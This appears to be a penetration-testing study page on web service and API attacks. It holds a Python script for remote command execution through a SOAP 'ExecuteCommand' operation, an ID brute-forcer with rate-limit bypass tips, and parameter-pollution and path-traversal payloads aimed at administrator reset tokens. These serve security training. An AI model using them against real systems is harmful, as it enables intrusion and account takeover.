Web Service & API Attacks
Web services enable applications to communicate with each other. An application programming interface (API) is a set of rules that enables data transmission between different software, they are not the same.
Web Services Description Language (WSDL)
WSDL is an XML-based file exposed by web services that informs clients of the provided services/methods. WSDl files can be hid by developers to preve abuse but can be found by fuzzing.
Example url:
curl http://<TARGET IP>:3002/wsdl?wsdl
In the WSDL file look for
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>
Which shows a cmd parameter.
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
We can build a python script to send a xml request and RCE.
import requests
import sys
import re
from xml.etree import ElementTree
# Check if command argument is provided
if len(sys.argv) < 2:
print("Usage: python script.py <command>")
sys.exit(1)
cmd = sys.argv[1]
# Create the XML payload with the command inserted
payload = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:tns="http://tempuri.org/"
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<cmd>''' + cmd + '''</cmd>
</LoginRequest>
</soap:Body>
</soap:Envelope>'''
response = requests.post(
"http://10.129.206.216:3002/wsdl",
data=payload,
headers={"SOAPAction": '"ExecuteCommand"'}
)
# Extract just the result using regex (simpler than parsing XML with namespaces)
result_match = re.search(r'<result>(.*?)</result>', response.content.decode(), re.DOTALL)
if result_match:
result = result_match.group(1)
print(result)
else:
print("Couldn't extract result from response")
API attacks
Check for possible parameters
ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>:3003/?FUZZ=test_value' -fs 19
Finding something curl http://:3003/?id=1
. Retreive all id's with this script. If there is a rate limit then bypass it through headers like X-Forwarded-For or X-Forwarded-IP, etc.
import requests, sys
def brute():
try:
value = range(10000)
for val in value:
url = sys.argv[1]
r = requests.get(url + '/?id='+str(val))
if "position" in r.text:
print("Number found!", val)
print(r.text)
except IndexError:
print("Enter a URL E.g.: http://<TARGET IP>:3003/")
brute()
Check for possible endpoints like or in API documentation
GET /api/books HTTP/1.1
Host: example.com
# Then finding
/api/books/mystery
server-side parameter pollution
To test for server-side parameter pollution in the query string, place query syntax characters like #
, &
, and =
in your input and check responses. Use a URL-encoded #
character to attempt to truncate the server-side request.
Truncate query strings with %23foo
.
%23foo
.GET /userSearch?name=peter%23foo&back=/home
If you get invalid name the app may have treated foo as part of username.
GET /users/search?name=peter#foo&publicProfile=true
Injecting invalid parameters like %26foo=xyz
.
%26foo=xyz
.GET /userSearch?name=peter%26foo=xyz&back=/home
This results in the following server-side request to the internal API:
GET /users/search?name=peter&foo=xyz&publicProfile=true
Injecting valid parameters
Override original parameter to check for server-side parameter pollution.
GET /userSearch?name=peter%26name=carlos&back=/home
Overriding existing parameters
To check wether application is vulnerable to server-side paremeter pollution override the original parameter by injecting a second parameter with the same name.
# Input
GET /userSearch?name=peter%26name=carlos&back=/home
# Send request
GET /users/search?name=peter&name=carlos&publicProfile=true
Things to try in short
<!-- Try &x=y bur url encoded-->
username=administrator%26x=y
<!-- Truncate query string with encoded, this could give info back like field not specified suggesting there is a field parameter. # -->
username=administrator%23
<!-- Bruteforce and or change value of the field parameter-->
username=administrator%26field=email%23
<!-- In example a reset token paraemter in .js file was found-->
username=administrator%26field=reset_token%23
server-side parameter pollution in REST paths
When there is a api for example using. GET /api/private/users/peter
.
We can try path traversal to change the user from peter to admin. Use url encoding
# Payload
GET /edit_profile.php?name=peter%2f..%2fadmin
# Request
GET /api/private/users/peter/../admin
Last updated
Was this helpful?